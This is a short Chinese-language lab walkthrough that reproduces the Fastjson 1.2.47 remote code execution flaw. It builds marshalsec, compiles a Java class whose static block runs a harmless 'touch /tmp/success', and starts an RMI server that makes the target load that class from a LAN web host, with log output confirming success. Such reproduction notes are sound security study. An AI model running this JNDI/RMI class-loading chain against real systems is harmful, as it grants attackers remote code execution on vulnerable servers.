Fastjson
1.2.47-rce
1. 环境搭建
- 下载 marshalsec, 在项目根目录下执行
mvn clean package -DskipTests生成target/marshalsec-x.x.x-SNAPSHOT-all.jar
备注
- mvn -v 对应环境必须为 jdk, 通过 JAVA_HOME 环境变量配置 jdk 而不是 jre 路径, 确保 PATH 路径中没有 jave 路径
- 编译遇到类似
Invalid CEN header (invalid zip64 extra data field size)是由于 java 高版本对 zip64 严格校验导致, 安装 jave8 解决 - 靶机 java 版本
<=8u121, 否则trustURLCodebase=false,RMI 远程加载被禁
- 编译上传命令执行代码
TouchFile.java
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}


备注
- 命令执行代码编译版本要
<=靶机 java 版本, 否则在靶机无法执行 - 确保 phpstudy 允许局域网访问, 防火墙添加 80 端口入站规则
- 启动 rmi 服务器, 防火墙添加 9999 端口入站规则
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.30.128/#TouchFile" 9999
2. 漏洞复现
- 构造 HTTP POST 请求

-
rmi 服务器下 出现
Sending remote classloading stub targeting http://192.168.30.128/TouchFile.class, apache 的 access.log 出现"GET /TouchFile.class HTTP/1.1" 200, 说明靶机成功请求命令执行代码 -
靶机成功看到写入的文件
